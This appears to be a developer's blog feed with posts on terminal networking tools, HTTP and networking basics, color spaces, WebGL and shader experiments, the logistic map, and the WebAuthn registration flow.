HTTP/1.1 200 OK
Server: nginx/1.23.4
Date: Thu, 08 Jun 2023 11:17:48 GMT
Content-Type: text/html
...

You can also create a “fake” server that listens on a specific port, for testing clients for example, using the nc (netcat) command:

$ nc -lp 1234

[in an other shell]
$ telnet localhost 1234
hello!

HTTP connection

There’s a lot of small tools to perform a HTTP request from the terminal. The most used/reliable one is curl, you can even copy requests from the browsers network inspector as curl commands.

$ curl http://localhost:3000/
<html>
<head>...

Fancy new stuff

Here I list a lot of programs that are modern (but far from standard) replacement for the tools above.

ls -> exa
cat -> bat
cd -> z/zoxide
find -> fd
grep -> rg (ripgrep)
df -> duf
du -> dust
ps -> procs
top -> htop, gotop
nslookup -> dog, drill
curl -> xh, httpie

Other shells to try (replacing bash):

zsh
fish

Other fancy terminal stuff:

terminal multiplexers: zellij, tmux, screen
fuzzy finders: skim, fzf (for searching history, or files)

Web Basics - HTTP

Wed, 31 May 2023 00:00:00 +0000

Now that we are aware of the basic networking concepts, let’s take a deeper look at the main protocol of the web - HTTP.

History of HTTP

The Hypertext Transfer Protocol is an application layer protocol in the IP protocol family, built for transmitting hypermedia documents for the World Wide Web. Its first version was developed by Tim Berners-Lee at CERN in 1989.

It’s a request-response protocol (typical client-server model). The client (for example the browser) sends a request to the server which sends back a response. It’s a stateless protocol, meaning that the server does not keep any state between two requests.

Versions:

0.9 (had no version at that time) - 1989
- the original, one-line protocol GET /something.html
1.0 - 1996
- version information
- concept of headers for both request and response
- status code
- not just HTML content (thanks to the Content-Type header)
1.1 - 1997
- the first properly standarized version
- used actively even today, easily extensible
- connections can be reused
- chunked responses
- cache control mechanisms
- content negotiation
- more domains from one IP (thanks to the mandatory Host header)
2.0 - 2015
- based on SPDY (by Google)
- binary protocol (instead of the older text based ones)
- multiplexed, parallel requests can be made over the same connection
- header compression - many headers are the same/similar for a lot of requests
- server push
3.0
- uses QUIC (desigen by Google…) instead of TCP
- otherwise very similar to HTTP/2

Personal note about newer HTTP versions

For small/medium websites, HTTP/1.1 is pretty much enough. Implementing (the protocol itself) is pretty easy, you can easily issue simple HTTP calls even by hand (via telnet for example), and a basic HTTP/1.1 server that reports the temperature for example can be implemented in a few lines of C code running on a microcontroller.

HTTP/2 and 3 are on the other hand huge beasts, with (basically mandatory, and computation heavy) TLS, header compression, connection multiplexing and so on. You most probably don’t want to implement any minor part of it for your hobby project - and as I said, you won’t pretty much need id for any low traffic site. Big websites (like Google or Facebook) are the ones who desperately need them.

So if you are in an environment - using standard webserver software, like nginx - where HTTP/2 or 3 is available, use it. But if you can only use HTTP/1.1 for embedded systems, it will still work. And if you want to connect it to the public internet, there’s always the option to put it behind a proxy server, that supports HTTP/2+ and strong TLS.

Actors

┌──────────┐       ┌─────────┐          ┌───────────────────┐
│  Client  │◄─────►│  Proxy  │◄────────►│  Proxy            │
│          │       │         │          │  (load balancer)  │
└──────────┘       └─────────┘          └───────────────────┘
                                             ▲     ▲
                                             │     │
                               ┌────────┐    │     │  ┌────────┐
                               │ Server │◄───┘     └─►│ Server │
                               └────────┘             └────────┘

The Client

The user agent - a tool that acts on behalf of the user. In most cases the browser, or programs performing communication over HTTP.

The client is always the one initiating the request. (Even in case of HTTP/2 server push, the content pushed by the server is just cached in the browser, and won’t be used until a formal request is performed to that specific resource - it just won’t use the network, but will be served from the cache.)

To display a basic webpage - a hypertext document - the browser sends a request to fetch the HTML document that represents the page. While it parses this document, it discovers other resources (scripts, CSS files, images, videos, …) that needs to be fetched too, and retrievs them (if required, it’s also a tricky topic when and what resources are fetched in which order…). Later, scripts executed by the browser can fetch more resources, too.

The Server

The opposite side of the communication channel, which serves the documents requested by the client. From the client’s point of view the server appears to be a single entity, but it may actually be a collection of servers sharing the load in some way, or other software (like caches) delivering the requested resource in some way.

Also a single server can host multiple websites using the Host header of HTTP/1.1 and SNI for TLS.

Proxies

Between the client and the server, numerous nodes are relaying the HTTP messages. Due to the layered structure of the internet, most of them operate at some lower (transport, network or physical) layer, like routers and switches, thus being transparent for the application layer HTTP actors. Those that operate in the application layer are generally called proxies.

Proxies can perform the following actions:

caching (like the browsers)
filtering (antivirus scan, parental controls, corporate filters)
load balancing (to allow multiple servers share the load)
terminate HTTPS or downgrade version (for dummy HTTP servers)
authentication
logging

The HTTP flow

I’m going to use HTTP/1.1 here, the concepts are the same for newer versions, and the optimizations (header compression, QUIC vs TCP, etc) are basically hidden from the user.

TCP connection

The client opens a TCP connection (3-way handshake) - and builds the secure TLS channel over it if required. This is an “expensive” process, so it is a good idea to reuse this connection later. Multiple connections can be opened, but most browsers limit this to maximum 6 per domain.

The request

After the connection is established, the request is sent by the client to the server. For example:

POST /ide/megy/az/adat HTTP/1.1
Host: cica.hu
Accept-Encoding: gzip, deflate, compress
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

alma=12&beka=Beka%20vagyok

Method

Basically verbs with different semantics.

GET - requests a resource, should not send data
HEAD - request the same resource as GET, but without the response body
POST - sends an entity to the specified resource (often cause change in the server side, not idempotent)
PUT - replaces the current representation of the resource with the payload (idempotent)
DELETE - deletes the specified resource

Less frequently used, but still standardised:

CONNECT - establishes a tunnel to an other server (for proxies)
OPTIONS - describes the communication options
TRACE - basically traces the path to the target server (through proxies)
PATCH - partial modification on a resource

Path

The resource to fetch. Basically the URL without the protocol, domain, port and hash.

HTTP version

Well, most probably HTTP/1.1 if you can read it ;)

Headers

See HTTP Headers.

Body

The data sent by the client to the server (where it makes sense, for POST or PUT, but should be empty for GET or HEAD).

The response

The server sends back a response:

HTTP/1.1 200 OK
Date: Wed, 13 May 2015 11:12:13 GMT
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Server: nginx/1.7.1

}P������0������+@`������G<������x2+T���m���b���_oyH���

HTTP version

HTTP/1.1

Status code

The status code indicates that the request was successful or not, and why:

1xx - informational
2xx - success
3xx - redirection
4xx - client error
5xx - server error

Headers

See HTTP Headers.

Body

The resource sent back to the client (optional).

The connection can be closed

… or kept open for further communication.

HTTP Headers

The HTTP headers provide additional information about the request/response. A header consists of a case-insensitive name followed by a color (:), then by its value.

Header can be related to (among many other things):

authentication (WWW-Authenticate, Authorization, …)
caching (Expires, Cache-Control, …)
whether the resource has been changed or not (If-Modified-Since/Last-Modified, If-Match/ETag, …)
content negotiation (Accept, Accept-Encoding, …)
cookies (Cookie, Set-Cookie)
CORS (Origin, Access-Control-...)
message body information (Content-Type, Content-Length, Content-Encoding, …)
proxies (Via, Forwarded, …)
redirects (Location)
request context (Host, User-Agent, …)
response context (Server, Allow, …)
security (Content-Security-Policy, …)
…

Also, you can use your own custom headers, too. Earlier it was enough to start them with X-..., but since some x-headers were standardized (like X-Frame-Options) or widely used (X-Forwarded-For) meanwhile, you’d better check it if it’s already used. But of course, something like X-YourGithubUsername-Whatever should be pretty safe to use.

Let’s see some features implemented with the help of headers.

Data compression

Request:

Accept-Encoding: br, gzip

Response:

Content-Encoding: gzip
Vary: Accept-Encoding

HTTP authentication

While modern frameworks/websites use more sophisticated/secure methods for authentication, the classic HTTP authentication is still an option, and in some cases it can be useful. For example URLs can contain the credentials in the form of https://username:password@www.example.com/.

If the server responds with 401 Unauthorized status code and there’s at least one WWW-Authenticate header, the client will typically prompt the user for credentials. The WWW-Authenticate header usually has a type and a realm (which is the name of the protected area).

Then the client responds including an Authorization: <type> <credential> header.

Authentication types

Basic - base64 encoded credentials
Digest - md5/sha/… hashed credentials (very minimum added security compared to basic)
Bearer - some kind of token (OAuth, JWT)

As any other kind of authentication on the internet, only provide your credentials over secure channel - HTTPS in this case!

Content negotiation

The client can specify some properties of the response which it prefers, using the Accept-* headers.

The response should contain the Vary header with the Accept-* headers involved or might use 300 Multiple Choices or 406 Not Acceptable response status codes.

Some `Accept` headers

Accept: <mime-type>/<mime-subtype>
Accept-Encoding: <encoding>
Accept-Language: <language code>

All headers above can contain a list of (optionally) weighted options. For example if the client prefers german, but understands english (with 0.8 priority) or hungarian (with 0.4 priority) as well, it can use:

Accept-Language: en, de;q=0.8, hu;q=0.4

Caching

To save network bandwith and server resources, caching content in the user-agent that change scarcely is pretty useful. But most content do change sometimes, so it can be hand to decide what to cache and for how long.

Cache levels

the browser cache
- it has a size limit
- users can turn it off
- some (especially older) browsers might misunderstand cache related headers
caching proxies, CDNs
- users cannot turn them off
- they can do other kind of fancy stuff (like image resizing/recompression, minify resources, …)
- if something is cached here that should be not, it can cause hard to discover, tricky issues

So properly controlling the caching of our resources is an important thing.

Typical cachable content

Browsers tend to cache these responses even without any special header:

simple documents, images that rarely change (GET => 200 OK)
permanent redirects (GET => 301, 308)
some error responses (GET => 404)

`Cache-Control` header

no-store, no-cache, must-revalidate - don’t cache at all
no-cache - browser might stores this for short period (for back navigation), requests validation before using the cached copy
private - single user only, browser can cache it, proxies shouldn’t
public - can be stored in a public cache (proxy, CDN)
must-revalidate - can be cached, with validation
max-age=<seconds> - can be stored for the given time
Expires header with a date (which is a client side date, so not very reliable)

The old Pragma header was for HTTP/1.0, don’t use it anymore.

Validation

ETags
- “strong” validator
- server sends ETag header
- client uses If-None-Match with the cached ETag value
Last-Modified
- “weak” validator
- server sends Last-Modified header with date
- client uses If-Modified-Since with the cached date

If the content wasn’t modified, so the cached data can be used then the server responds with a 304 Not Modified response. Otherwise a normal 200 OK response is sent back with the updated content (and with updated validation related headers).

Vary

If the server uses the Vary header that means that the content can be different for the given resource based on the headers listed in the Vary header, so the client must include those headers when caching.

Cookies

The server can send cookies via the Set-Cookie header, that are stored by the browser and sent back in the Cookie header.

One Set-Cookie header can set one cookie, but a response can have multiple such headers:

Set-Cookie: <name>=<value>; [directives separated by ;]
Set-Cookie: <name2>=<value2>; [directives]

A request can only contain one Cookie header, but it can have multiple cookies separated by semicolons:

Cookie: name1=value1; name2=value2

Directives

Expires=<date>
- the cookie expires on date, the client should remove it afterwards
- if not set, the cookie will have the lifetime of the session (it’s deleted when the tab is closed)
Max-Age=<seconds>
- similar to Expires, but has higher priority
Domain=<domain>
- if not set, current domain is used (subdomains not included)
- if set, subdomains are included
Path=<path>
- the root of the path where the cookie is sent
Secure
- the cookie is only sent over secure (HTTPS) connection
HttpOnly
- not accessible via JavaScript (through the document.cookie API)
SameSite=<ssoption>
- some kind of CSRF protection
- Strict: cookie is only sent with requests initiated by the cookie’s origin site.
- Lax: (default) cookie is also sent when the user navigates to the cookie’s origin (from an external site).
- None: cookies are sent on cross-site requests as well (but only in secure contexts, so Secure should be set too).

Security

CORS related headers (Access-Control-...)
CSP
- to prevent XSS
HPKP
- tells the client to trust only the given TLS public key, to prevent MITM attacks
HSTS
- tells the client that it should use secure channel (HTTPS) to communicate with this server
- prevents some MITM attacks with HTTPS termination, or attacks hijacking the HTTP->HTTPS redirects
X-Content-Type-Options: nosniff
- blocks requests with style and script destinations if the content type of the resource is not text/css or JavaScript MIME type (accordingly)

Web Basics - Networking

Thu, 25 May 2023 00:00:00 +0000

So, what happens if you enter a URL into the browser’s location bar and press ENTER? A very many things, and eventually a website is loaded and rendered.

Let’s check the networking part!

The URL

URL: Uniform Resource Locator - an address of a resource.

URL parts

https://horak.hu:443/posts/web-basics/?key1=value1&key2=value2#url-parts

Scheme

The protocol that the client has to use to retrieve the resource. For websites it’s usually https (or http), but email addresses can have mailto, phone numbers have tel, and so on. Some systems let you regirster your own URL schemes, too.

Can be omitted, in this case the protocol of the current resource is used. (Like referencing external JS files using the same protocol for security reasons: <script src="//3rdparty.net/whatever.js"></script>.)

Domain name

… or IP address. It specifies the web server (computer) to contact. More about it later.

Port

There can be multiple web server software running on the same web server (computer) this number specifies which one to use. By default 443 for https and 80 for http, if this is the case, it can be omitted.

Path to resource

Representing a physical file (like /posts/web-basics/index.html), or any other resource (i.e. /api/users/dyuri).

Parameters

Key/value pairs separated with the & symbol. The key and the value should be URL encoded.

Anchor

It’s like a bookmark inside the resource, like #url-parts pointing to this section of this document. It isn’t sent to the server, used only by the browser, or the application running inside.

The server

The server (computer) is identified by an IP (IPv4 or IPv6) address - but in most cases the domain name is used in the URL - how is the IP address resolved from a domain name?

The most common answer is the DNS (Domain Name Service), but it’s a bit more complicated. The mechanism is called Name Service Switch - NSS, and it’s a way to specify how to resolve resource names to resource ids in unix-like operating systems.

Note, that the network layer of modern Windows has borrowed a lot of functionality from BSD systems ;)

Using NSS, you can define the order of the services used to resolve domain names. For example:

hosts: files dns nis

Which means: for host name resolution first the files, then dns and if all fails the nis service is used. nis is basically not used anymore, I’ll talk about DNS soon, but the interesting part is files. It means that by entering an IPaddress hostname pair into the host file (usually /etc/host) you can manually assing any IP address to any hostname - which can be really useful for testing purposes: you can set the domain name of any production environment to your own computer ;)

DNS

There are some very useful IP addresses that you need to know when you connect to a network - and one of them is (or are) the IP address of the local DNS server. There are also public DNS servers with well known IP addresses, like 4.4.4.4 and 8.8.8.8 (by Google) or 1.1.1.1 (by Cloudflare).

Prefer to use the DNS server provided by the local network. In some environments it can resolve local hostnames too, and there might be also privacy concerns using public ones - the DNS server’s owner can basically track what sites are you visiting just by analyzing your DNS requests.

The local DNS server doesn’t know all the domain names ever registered, but they can propagate the query further to their DNS server, or eventually to the so called root DNS servers that can help to find the DNS provider for the given domain. Once a DNS server has the answer, it can cache it for some time (defined by the owner of the domain name).

Networking - overview

Now that we have the IP address of the server we want to contact, let’s take a step back, and see how computers communicate.

OSI model

In the early days, engineers wanted to standardize the conceptual model of networking. They defined 7 layers:

physical
data link
network
transport
session
presentation
application

They were used is some weird cases - I personally used X.25, FCAM and CMIP, but I’m old as hell, and even I was surprised to met them -, but they never gained much popularity. But if we almost close our eyes and look at the current TCP/IP stack through a narrow gap, we can identify these layers more or less.

Physical layer

The physical entity - copper wire, optical cable, or the electromagnetic space - between the network appliances. Raw bit streams are travelling in this layer - as fotons, current or changes in radio waves.

Data link layer

Data frames are transmissed between two nodes connected by the physical layer. The nodes have some kind of (local) addresses - for example the MAC address in case of ethernet networks. Routing in this layer is done by switches.

This layer is responsible for device access (MAC - Medium Access Control), basic error checking and encapsulating network layer protocols (LLC - Logical Link Control).

Network layer

This layer provides the functionality to transfer packets from one network node to another connected to a “different local network”. Routers are used to find a path between these nodes and transmit the packets. (There can be multiple paths, and each packet have a different route.) Message delivery is not necessary reliable. Basically host to host communication.

Transport layer

The transport layer is responsible to deliver data from one application to another - running on a different computer.

Transport protocols can be connection-oriented - usually providing a reliable connection between the applications -, or connectionless, that doesn’t track if the communication was successfull or failed.

They are also split the arbitrary long data into segments that fit into the packets the underlying layers can transfer in one turn.

For example a typical MTU (Maximum Transmission Unit) in local Ethernet networks is 1500 bytes. The IPv4 and the TCP headers are both minimum 20 bytes so the maximum segment size is 1460 bytes for each packet. Even most emails are longer than that.

Session layer

Handles user sessions, typically implemented explicitly in applications, like FTP, SMB, …

Presentation layer

This layer transforms the data coming from the application to something that can be easily transferred over the network. Encryption (like SSL) or compression (like gzip) can be done in this layer too.

Application layer

Most protocols that are directly used by applications are here (but they usually provide the functionality of the Session and the Presentation layers too). For example HTTP, SMTP, FTP.

The modern internet (TCP/IP)

As I mentioned above, the OSI model is not really used in our modern internet, many modern protocols are implementing features of multiple layers, but the lower layers can be more or less similar.

IP

The IP - Internet Protocol - is basically a network layer protocol, delivering packets from the source host to the destination host based on the IP addresses in the packet header via routing.

Currenty there are two versions in use, IPv4 and IPv6. There never were IPv1, 2 or 3, and even though the higher version numbers are used, mosts of those projects are obsolate or abandoned.

UDP

UDP - User Datagram Protocol - is a connectionless transport layer protocol. It does not provide reliable transmission (but it can be implemented in higher levels), but it’s quick and stateless, suitable for simple query-response tasks (DNS, NTP), modelling lower layers over IP (tunnels, or NFS) or - due to the lack of retransmission delays - basically the only option for real time communication (VoIP, online games, RTSP).

TCP

TCP - Transmission Control Protocol - is the connection oriented, reliable transport layer protocol of the IP family. It is used where the reliability of the connection is essential - like for file transfers, emails, remote administration (SSH), or the web (well, till HTTP/3 at least).

Both UDP and TCP are using sockets - a combination of IP address + port - to establish app-to-app communication, basically multiplexing the data streams to the network.

Routing

There are more ways to get from one host to the other, and routers - using routing algorithms - are responsible for that. They can be configured in a static way (probably your own computer, or your SOHO router works this way) or use some kind of algorithm to find the shortest/quickest/cheapest/… way to the other host.

The routing table of my own computer (or something like that):

$ ip route show
default via 192.168.1.1 dev enp5s0 proto static
10.0.0.0/8 dev wg1 scope link
192.168.1.0/24 dev enp5s0 proto kernel scope link src 192.168.1.11
192.168.10.0/24 dev wg0 proto kernel scope link src 192.168.10.1
192.168.100.0/24 dev wg1 scope link
192.168.110.0/24 dev wg1 scope link

Local networks

There are (were) pretty few IPv4 addresses, so some of them aren’t used by public computers (and aren’t handled by routers in a same way as public ones). This way you can use these addresses for your home/office appliances without risking to accidentally replace google search by your washing machine ;)

These networks are:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

HTTP

The Hypertext Transfer Protocol is an application layer protocol in the IP protocol family, built for the World Wide Web. Its first version was developed by Tim Berners-Lee at CERN in 1989.

It’s a request-response protocol (typical client-server model). The client (for example the browser) sends a request to the server which sends back a response.

The HTTP request

POST /ide/megy/az/adat HTTP/1.1
Host: cica.hu
Accept-Encoding: gzip, deflate, compress
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

alma=12&beka=Beka%20vagyok

method - GET, POST, PUT, DELETE, …
path - the path of the requested resource
protocol version - well, most probably HTTP/1.1 if you can see it this way :)
headers - Host is mandatory for HTTP/1.1, everything else is optional
body - after an empty line, optional

The HTTP response

HTTP/1.1 200 OK
Date: Wed, 13 May 2015 11:12:13 GMT
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Server: nginx/1.7.1

}P������0������+@`������G<������x2+T���m���b���_oyH���

protocol version
status code
- 1xx - informational
- 2xx - success
- 3xx - redirection
- 4xx - client error
- 5xx - server error
headers
body - after an empty line, optional

HTTPS

HTTPS isn’t an other protocol, but it uses SSL/TLS to secure the connection and encrypt the data flow. Certificates might cost money, but there are free options as well, like Let’s Encrypt.

HTTP/2

More efficient expression of the HTTP semantics, but:

metadata (headers) are compressed and re-used, so they require much less space
uses a single TCP/IP connection per server (but with multiple virtual channels)
there’s an option for server push (but hard to use properly, so basically nobody uses it)
browsers require TLS (https) to support it (although it’s not mandatory)

HTTP/3

Very similar to HTTP/2, but uses QUIC instead of TCP, which is a reliable transport layer protocol over UDP, developed by Google. The SSL connection establishment is baked into the handshake process, so it can be much faster than HTTPS over TCP, and has many other advantages.

Personal note about newer HTTP versions

For small/medium websites, HTTP/1.1 is pretty much enough. Implementing (the protocol itself) is pretty easy, you can easily issue simple HTTP calls even by hand (via telnet for example), and a basic HTTP/1.1 server that reports the temperature for example can be implemented in a few lines of C code running on a microcontroller.

HTTP/2 and 3 are on the other hand huge beasts, with (basically mandatory, and computation heavy) TLS, header compression, connection multiplexing and so on. You most probably don’t want to implement any minor part of it for your hobby project - and as I said, you won’t pretty much need id for any low traffic site. Big websites (like Google or Facebook) are the ones who desperately need them.

So if you are in an environment - using standard webserver software, like nginx - where HTTP/2 or 3 is available, use it. But if you can only use HTTP/1.1 for embedded systems, it will still work. And if you want to connect it to the public internet, there’s always the option to put it behind a proxy server, that supports HTTP/2+ and strong TLS.

<repa-shader>

Thu, 18 May 2023 16:32:10 +0100

I’m planning to create a custom web component which lets you easily embed your fragment shaders into any website for a long time. You can find some (mostly abandoned ones) on github, so this is my take on the topic (to abandon it eventually 😉).

It tries to be compatible with https://twigl.app/, supporting geekest mode and MRT as well (but only 300 es).

See details on github.

Demo

float noise21(vec2 p) { p += vec2(23.34, 34.232); vec3 a = fract(vec3(p.xyx) * vec3(213.897, 653.453, 253.098)); a += dot(a, a.yzx + 79.76); return fract((a.x + a.y) * a.z); } vec2 get_point_by_id(vec2 id, float t) { return vec2( sin(6821.126 + t * noise21(id * (.456, .681))), cos(34.123 + t * noise21(id * 543.21)) ); } float df_line(vec2 a, vec2 b, vec2 p) { vec2 pa = p - a, ba = b - a; float h = clamp(dot(pa,ba) / dot(ba,ba), 0., 1.); return length(pa - ba * h); } float line(vec2 a, vec2 b, vec2 uv) { float r1 = .03; float r2 = .005; float d = df_line(a, b, uv); float d2 = length(a-b); float fade = smoothstep(1.5, .5, d2); fade += smoothstep(.05, .02, abs(d2-.5)); return smoothstep(r1, r2, d) * fade; } void main() { vec2 uv = ((2. * gl_FragCoord.xy) - resolution.xy) / min(resolution.x, resolution.y); vec3 col = 0.2 + 0.2*cos(time+uv.xyx+vec3(0,2,4)); vec2 st = uv * 3.; vec2 id = floor(st); vec2 i_st = fract(st); float m_dist = 1.; vec2 curr_point = .5 + .5 * get_point_by_id(id, time * 2.); float m = 0.; vec2 points[9]; int i = 0; for (int y = -1; y <= 1; y++) { for (int x = -1; x <= 1; x++) { vec2 neighbor = vec2(float(x), float(y)); vec2 point = neighbor + .5 + .5 * get_point_by_id(id+neighbor, time * 2.); points[i++] = point; vec2 diff = point - i_st; float dist = length(diff); if (dist < m_dist) { m_dist = dist; } // line between points m += line(curr_point, point, i_st); } } // extra lines m += line(points[1], points[3], i_st); m += line(points[1], points[5], i_st); m += line(points[7], points[5], i_st); m += line(points[7], points[3], i_st); // the point itself m += 1. - step(.05, m_dist); col += .8 * m; // Output to screen outColor = vec4(col,1.0); }

Colors

Fri, 21 Apr 2023 00:00:00 +0000

How do we see colors? How can we “define” them in a generic way? How do we compare them?

Well, this isn’t an easy topic.

Color vision

There are (in most cases) 3 types of cone cells in the human eye that helps us to see colors.

Pretty easy to see, why we mostly use yellow-green for visibility clothing.

Their response “function” overlap, it’s more efficient for our visual system to record the differences between the response of the cones, rather than the response of each. With this opponent color theory we can build a 3D space, where we can place individual colors:

black vs white (lightness, L)
red vs green (a)
blue vs yellow (b)

But this isn’t that simple, about 5% of caucasian people have color vision deficiency (~color blindness), which means they either cannot really differentiate colors on one of the color axes (or both, then they are color blind, indeed). Red-green CVD is the more common (99% of all).

And that’s just the difference in the eye, our brain has also an important role in the color vision, so some of us are capable seeing impossible colors, too.

Non-human color vision

And that’s just humans.

Most mammals have only two cones, so cats, dogs, cows, elks and such have very similar color vision as people having red-green CVD.

Have you ever wondered why tigers are orange striped? Growing orange pelt is much easier than green, and they prey see them as the same color, so they are basically comouflaged in the forrest.

Also got pretty clear why hunters use orange visibility clothing…

There are also animals that can see very different or much more colors than us (and we cannot even imagine what they might see). Bees for example have 3 types of cones too, but they respond to green, blue and UV wavelengths. Birds have 4 cones, yellow, green, blue and UV.

… and even birds are basically color blind compared to mantis shripms.

Color spaces

A color space is a specific organization of colors. With color profiling of physical devices, it support reproducible colors: wall paint, print colors, or colors on a monitor or smart phone. It can use for example color names (like Pantone or RAL) or mathematical coordinates (CIELAB, sRGB, …).

Color models

A color model is an abstract mathematical model to represent colors - as typically 3 or 4 numbers/components. When the model is associated with a precise description how to interpret the components, then we can use it to represent a colors of a given color space.

Color model examples:

RYB - substractive, what you probably used in the elementary school with water paints
RGB - additive, what you most probably use during software development (!)
CMY/CMYK - substractive, color model for prints
HSL/HSV - cylindrical alternatives to RGB, more intuitive and user friendly

! The RGB color model is used for color spaces like sRGB, Adobe RGB or DCI-P3, but without defining the exact color space, the same RGB values might represent different colors on different devices (relative RGB color space)

sRGB and friends

Nothing “special”, since we are software developers :)

CIE 1931 XYZ and RGB

In the late 1920s the CIE RGB color space was defined based on actual human experiments, that basically covers all the colors that are visible to a person (even more) and from that the CIE XYZ color space was derived.

device-invariant
serves as a standard reference for many other color spaces
all coordinates are meaningful, but many (such as the [1, 0, 0], [0, 1, 0], [0, 0, 1] primary locations) are imaginary colors outside of the preceivable colors
well defined color matching functions
- for example Y used for contrast ratio checks
- various color diff functions
Y - the luminance (preceived by the observer)
Z - ~ the blue component of CIE RGB
X - a mix of the three CIE RGB curves

CIELAB

The CIELAB (or L*a*b*) color space was defined in 1976. It expresses colors as three values, based on the human color vison:

L - luminance, perceptual lightness (0 - 100)
a - red-green (unbounded, but -128 - 127)
b - blue-yellow (unbounded, but -128 - 127)

It was intended to be perceptually uniform which means that a given numerical change corresponds to a similar preceived change in color. Like doubling the value of a positive a will result in a color twice as green as the original.

CIELCh

CIELAB based cylindrical color space, which uses polar coordinates - C (chroma, relative saturation) and h (hue angle in the color wheel). (L remains the same)

Similar to HSL/HSV color models, but LCh is still perceptually uniform like LAB. (!)

! Its uniformity is not perfect, blue hues are predicted badly, but newer color spaces address this issue, Oklab for example.

Why is this useful? It’s very hard to create perceptually smooth multi color gradients using the RGB color model, but it’s straightforward using LAB/LCH:

CSS

lab(), lch(), oklab() and oklch() are all covered in CSS Color Module Level 4 specification. Yes, it’s still in draft, but at the time of writing Safari, Chrome and Edge supports them already, and they are behind flag in Firefox too! 🎉

Demo:

WebGL Planet

Sat, 04 Feb 2023 00:00:00 +0000

Sometimes I have the itch to create something that’s not (just) useful, but pleases the eyes.

I’ve started experimenting with webgl a few years ago, mostly in shadertoy - but most of my experiments aren’t public.

This (fullscreen) is one of my favourites. But of course I’m still not entirely satisfied with it.

Bottle Quine

Fri, 03 Feb 2023 00:00:00 +0000

A quine is a computer program which takes no input and produces a copy of its own source code as its only output.

This one is not really a quine, but something similar, 1020 bytes of HTML/JS that animates it’s own code. Inspired by the great work of @aemkei.

Click here, to see it in action!

<body id=b onload=eval(b.textContent)><pre>
c=b.textContent;h='\43'/*` ,====, `*/;S=b.style;A=0;M=0;K=!1
;H='\140';s=c.split('')/*` ;,,,,; `*/;B=s.map((x,i)=>[x,i]).
filter((x)=>x[0]===h);l=/*` }##{ `*/c.split('\n')[1].length;
k='\117';q='#888';z=F=>/*` /####\ `*/{d=d?0:1+1;A=A?(s[A-l-d
]===h?A-l-d:0):B[Math./*` :######: `*/random()*B.length|0][1
];b.innerHTML='\74pr'/*` /########\ `*/+'e\76'+s.map((x,i)=>
{v=A&&i==A?k:x==k?h:/*` |``````````| `*/x;K=x==H?!K:K;vcl=v.
fontcolor(C(x!=H?K&&/*` |   C0DE   | `*/v:0));return vcl;}).
join('');setTimeout(z/*` \.______./ `*/,400);M++};C=x=>x?((t
=Z[x])&&t.call?t():t)/*` |########| `*/||h+'fff':h+'333';d=2
;S['background']='#0'/*` |########| `*/+'00';S['font'+'Size'
]='5vh';T='toString';/*` )########( `*/W=Math;g=()=>{R=W.sin
(M/32)*8+8|0;G=W.cos/*` /##########\ `*/(M/32)*8+8|0;V=W.cos
(M/64+1.57)*8+8|0+0;/*` |##########| `*/return h+R[T](16)+G[
T](16)+V[T](16)};Z={/*` '.##.##.##.' `*/'O':h+'a8'+'2','=':q
,';':q,',':q,'0':g};/*`   '' '' ''   `*/Z[h]=h+'865';z('dy')

CSS Mesh

Thu, 02 Feb 2023 10:22:10 +0100

CSS Paint Worklet (Houdini) experiment to generate cellular noise based mesh.

Details on github.

Logistic Map

Fri, 02 Dec 2022 10:22:10 +0100

There’s a simple function, which eventually can result in pure chaos:

x_n+1 = r * x_n * (1 - x_n)

“Rabbits”

x: current population
r: growth rate
(1-x): environmental constraint

Final population: the limes of this function.

r=1.5 => 0.33
r=1.8 => 0.44
r=2.6 => 0.615
r=3.1 => ! 2 limes (oscillating) 0.558, 0.764
r=3.4 => 0.452, 0.842
r=3.5 => ! 4 limes 0.382, 0.5, 0.826, 0.874
r=3.6 => ??? pRNG!
r=3.83 => 0.156, 0.504, 0.957 (?)

The Logistic Map

If we visualize the limes(es) as a function of r, then we get the logistic map:

The Feigenbaum Constant

The limes of the ratio of each bifurcation interval to the next between eveny period doubling:

4.669201609…

Mandelbrot

The equation for the Mandelbrot set is very similar:

z_n+1 = z_n² + c

It turns out that ratio of the diameters of successive circles (on the reas axis) is also the Feigenbaum constant. Also the number of “oscillations” in the Mandelbrot set is the number of the branches of the bifurcation diagram…

Source: reddit/r/mathpics

… and it’s happen to be found everywhere …

Source: wikipedia

For the demo

lfunc.py - to display the logistic function
lmap.py - to display the logistic map’s bifurcation diagram
mandel.py - mandelbrot in the terminal (just for fun)

Web Authentication API

Wed, 19 Oct 2022 00:00:00 +0000

WebAuthn uses public key cryptography (asymmetric) instead of passwords or SMS texts for registration, authentication and 2FA.

Protection against phishing: webauthn signatures changes with the origin, so it won’t work on “similar” webpages (with different domain name).
Reduced impact of data breaches: it does not really matter if the public key is stolen.
Invulnerable to password attacks: much harder to crack it by “brute force” than passwords.

WebAuthn Browser API

navigator.credentials.create() [with publicKey] - creates new credentials (either for registration or for associating a new key pair with an existing account)
navigator.credentials.get() [with publicKey] - uses an existing set of credentials to authenticate to a service (either for logging in or as a form of 2FA)

Note: both calls require secure context (https or localhost).

Basically, both calls receive a big random number (challenge) from the server, and return it signed by the private key. This signature can be verified by the server using the public key (which is part of to the create response).

Components

The browser (that implements the above API) sits between the following two components:

Server - also referred as RP (relaying party).
Authenticator - where the credentials are created and stored. It might be integrated into the browser, into the operating system, or it may be a physical token (like an USB security key).

Registration

( step 0: Some kind of initial registration request.)

Server sends back the challenge, user info and relaying party Info to the JS app. (Form of this communication is not part of the Web Authentication API, it can be basically anything.) The parameters then are passed to the create() call which returns a promise that will resolve into a PublicKeyCredential object containing AuthenticatorAttestationResponse.
Browser validates the parameters, fills in defaults and calls authenticatorMakeCredential() on the authenticator. This will become later the AuthenticatorResponse.clientDataJSON which can be later verified by the server (the origin for example).
The authenticator creates new key pair and attestation. It typically asks for some form of user verification - fingerprint, iris scan, PIN, … - to prove that the user is present and consenting to the registration. Then it creates the key pair, and stores the private part safely. The public key will be part of the response. The data is then signed with a private key that can be validated using a certificate chain.
Authenticator returns data to the browser - the new public key, a globally unique credential id and other attestation is returned => attestationObject.
Final data is created and sent back to the server - the create() call resolves to a PublicKeyCredential object, which is then sent back to the server (using whatever form of communication available).
The server validates the data and finishes the registration process:
- it verifies that the challenge is the same as the one sent
- checks the origin
